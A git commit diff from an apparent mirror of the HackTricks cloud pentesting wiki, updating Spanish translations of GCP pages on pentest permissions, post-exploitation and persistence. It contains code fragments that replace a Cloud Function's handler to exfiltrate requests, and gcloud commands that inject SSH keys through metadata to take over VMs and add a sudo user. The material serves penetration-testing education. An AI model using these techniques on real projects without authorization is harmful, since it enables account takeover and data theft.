mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-15 06:13:16 -08:00
Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle
This commit is contained in:
@@ -1,5 +1,7 @@
|
||||
# GCP - Permisos para un Pentest
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Si deseas realizar un pentest en un entorno de **GCP**, necesitas solicitar suficientes permisos para **verificar todos o la mayoría de los servicios** utilizados en **GCP**. Idealmente, deberías pedir al cliente que cree:
|
||||
|
||||
* **Crear** un **nuevo proyecto**
|
||||
@@ -13,7 +15,7 @@ roles/viewer
|
||||
roles/resourcemanager.folderViewer
|
||||
roles/resourcemanager.organizationViewer
|
||||
```
|
||||
APIs a habilitar (desde starbase):
|
||||
APIs para habilitar (desde starbase):
|
||||
```
|
||||
gcloud services enable \
|
||||
serviceusage.googleapis.com \
|
||||
@@ -129,4 +131,4 @@ roles/iam.securityReviewer
|
||||
roles/iam.organizationRoleViewer
|
||||
roles/bigquery.metadataViewer
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1 +1,3 @@
|
||||
# GCP - Persistencia
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1 +1,3 @@
|
||||
# GCP - Post Explotación
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# GCP - Explotación Posterior de Cloud Functions
|
||||
# GCP - Cloud Functions Post Explotación
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -23,7 +23,7 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
|
||||
|
||||
Si la Función en la Nube está gestionando información sensible que los usuarios están enviando (por ejemplo, contraseñas o tokens), con suficientes privilegios podrías **modificar el código fuente de la función y exfiltrar** esta información.
|
||||
|
||||
Además, las Funciones en la Nube que se ejecutan en python utilizan **flask** para exponer el servidor web, si de alguna manera encuentras una vulnerabilidad de inyección de código dentro del proceso de flaks (una vulnerabilidad SSTI, por ejemplo), es posible **sobrescribir el manejador de la función** que va a recibir las solicitudes HTTP por una **función maliciosa** que puede **exfiltrar la solicitud** antes de pasarla al manejador legítimo.
|
||||
Además, las Funciones en la Nube que se ejecutan en python utilizan **flask** para exponer el servidor web, si de alguna manera encuentras una vulnerabilidad de inyección de código dentro del proceso de flaks (una vulnerabilidad SSTI, por ejemplo), es posible **sobrescribir el controlador de la función** que va a recibir las solicitudes HTTP por una **función maliciosa** que puede **exfiltrar la solicitud** antes de pasarla al controlador legítimo.
|
||||
|
||||
Por ejemplo, este código implementa el ataque:
|
||||
```python
|
||||
@@ -98,7 +98,7 @@ return "/tmp/function.py doesn't exists"
|
||||
|
||||
# Get relevant function names
|
||||
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
|
||||
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
|
||||
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (main.py by default)
|
||||
realpath = os.path.realpath(source_path) # Get full path
|
||||
|
||||
# Get the modules representations
|
||||
@@ -122,4 +122,4 @@ return "Injection completed!"
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,20 +1,18 @@
|
||||
# GCP - Agregar Metadatos SSH Personalizados
|
||||
|
||||
## GCP - Agregar Metadatos SSH Personalizados
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Modificación de los metadatos <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
|
||||
## Modificando los metadatos <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
|
||||
|
||||
La modificación de metadatos en una instancia podría llevar a **riesgos de seguridad significativos si un atacante obtiene los permisos necesarios**.
|
||||
|
||||
#### **Incorporación de Claves SSH en Metadatos Personalizados**
|
||||
### **Incorporación de Claves SSH en Metadatos Personalizados**
|
||||
|
||||
En GCP, **los sistemas Linux** a menudo ejecutan scripts desde el [Entorno de Invitado de Linux de Python para Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). Un componente crítico de esto es el [demonio de cuentas](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), que está diseñado para **verificar regularmente** el punto final de metadatos de la instancia en busca de **actualizaciones a las claves públicas SSH autorizadas**.
|
||||
En GCP, **los sistemas Linux** a menudo ejecutan scripts desde el [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). Un componente crítico de esto es el [daemon de cuentas](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), que está diseñado para **verificar regularmente** el punto final de metadatos de la instancia en busca de **actualizaciones a las claves públicas SSH autorizadas**.
|
||||
|
||||
Por lo tanto, si un atacante puede modificar los metadatos personalizados, podría hacer que el demonio encuentre una nueva clave pública, que será procesada e **integrada en el sistema local**. La clave se añadirá al archivo `~/.ssh/authorized_keys` de un **usuario existente o potencialmente creando un nuevo usuario con privilegios `sudo`**, dependiendo del formato de la clave. Y el atacante podrá comprometer el host.
|
||||
Por lo tanto, si un atacante puede modificar los metadatos personalizados, podría hacer que el daemon encuentre una nueva clave pública, que será procesada e **integrada en el sistema local**. La clave se añadirá al archivo `~/.ssh/authorized_keys` de un **usuario existente o potencialmente creando un nuevo usuario con privilegios de `sudo`**, dependiendo del formato de la clave. Y el atacante podrá comprometer el host.
|
||||
|
||||
#### **Agregar clave SSH a un usuario privilegiado existente**
|
||||
### **Agregar clave SSH a un usuario privilegiado existente**
|
||||
|
||||
1. **Examinar Claves SSH Existentes en la Instancia:**
|
||||
|
||||
@@ -26,7 +24,7 @@ gcloud compute instances describe [INSTANCE] --zone [ZONE]
|
||||
|
||||
- Prestar atención al formato de las claves SSH: el nombre de usuario precede a la clave, separado por dos puntos.
|
||||
|
||||
2. **Preparar un Archivo de Texto para Metadatos de Clave SSH:**
|
||||
2. **Preparar un Archivo de Texto para los Metadatos de la Clave SSH:**
|
||||
- Guardar los detalles de los nombres de usuario y sus correspondientes claves SSH en un archivo de texto llamado `meta.txt`. Esto es esencial para preservar las claves existentes mientras se añaden nuevas.
|
||||
3. **Generar una Nueva Clave SSH para el Usuario Objetivo (`alice` en este ejemplo):**
|
||||
|
||||
@@ -38,9 +36,9 @@ ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
|
||||
|
||||
- Agregar la nueva clave pública a `meta.txt`, imitando el formato encontrado en los metadatos de la instancia.
|
||||
|
||||
4. **Actualizar los Metadatos de Clave SSH de la Instancia:**
|
||||
4. **Actualizar los Metadatos de la Clave SSH de la Instancia:**
|
||||
|
||||
- Aplicar los metadatos de clave SSH actualizados a la instancia usando el comando `gcloud compute instances add-metadata`.
|
||||
- Aplicar los metadatos de clave SSH actualizados a la instancia utilizando el comando `gcloud compute instances add-metadata`.
|
||||
|
||||
```bash
|
||||
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
|
||||
@@ -55,9 +53,9 @@ ssh -i ./key alice@localhost
|
||||
sudo id
|
||||
```
|
||||
|
||||
#### **Crear un nuevo usuario privilegiado y agregar una clave SSH**
|
||||
### **Crear un nuevo usuario privilegiado y agregar una clave SSH**
|
||||
|
||||
Si no se encuentra un usuario interesante, es posible crear uno nuevo al que se le otorgarán privilegios `sudo`:
|
||||
Si no se encuentra un usuario interesante, es posible crear uno nuevo al que se le otorgarán privilegios de `sudo`:
|
||||
```bash
|
||||
# define the new account username
|
||||
NEWUSER="definitelynotahacker"
|
||||
@@ -75,13 +73,13 @@ gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-k
|
||||
# ssh to the new account
|
||||
ssh -i ./key "$NEWUSER"@localhost
|
||||
```
|
||||
#### Claves SSH a nivel de proyecto <a href="#sshing-around" id="sshing-around"></a>
|
||||
### Claves SSH a nivel de proyecto <a href="#sshing-around" id="sshing-around"></a>
|
||||
|
||||
Es posible ampliar el alcance del acceso SSH a múltiples Máquinas Virtuales (VMs) en un entorno de nube al **aplicar claves SSH a nivel de proyecto**. Este enfoque permite el acceso SSH a cualquier instancia dentro del proyecto que no haya bloqueado explícitamente las claves SSH a nivel de proyecto. Aquí hay una guía resumida:
|
||||
|
||||
1. **Aplicar Claves SSH a Nivel de Proyecto:**
|
||||
|
||||
- Utiliza el comando `gcloud compute project-info add-metadata` para agregar claves SSH desde `meta.txt` a los metadatos del proyecto. Esta acción asegura que las claves SSH sean reconocidas en todas las VMs del proyecto, a menos que una VM tenga habilitada la opción "Bloquear claves SSH a nivel de proyecto".
|
||||
- Usa el comando `gcloud compute project-info add-metadata` para agregar claves SSH desde `meta.txt` a los metadatos del proyecto. Esta acción asegura que las claves SSH sean reconocidas en todas las VMs del proyecto, a menos que una VM tenga habilitada la opción "Bloquear claves SSH a nivel de proyecto".
|
||||
|
||||
```bash
|
||||
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
|
||||
|
||||
@@ -28,26 +28,30 @@ curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKey
|
||||
```
|
||||
### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
|
||||
|
||||
Con estos permisos, un atacante puede habilitar y usar nuevos servicios en el proyecto. Esto podría permitir a un **atacante habilitar servicios como admin o cloudidentity** para intentar acceder a información de Workspace, o a otros servicios para acceder a datos interesantes.
|
||||
Con estos permisos, un atacante puede habilitar y usar nuevos servicios en el proyecto. Esto podría permitir a un **atacante habilitar servicios como admin o cloudidentity** para intentar acceder a la información de Workspace, o a otros servicios para acceder a datos interesantes.
|
||||
|
||||
## **Referencias**
|
||||
## **References**
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>¡Apoya a HackTricks y obtén beneficios!</strong></summary>
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
|
||||
Obtén la [**merch oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
Obtén la [**merch oficial de PEASS & HackTricks**](https://peass.creator-spring.com).
|
||||
|
||||
**Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
**Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks en github**](https://github.com/carlospolop/hacktricks)\*\*\*\*
|
||||
**Comparte tus trucos de hacking enviando PRs al** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
|
||||
|
||||
**.**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1 +1,3 @@
|
||||
# GCP - Servicios
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user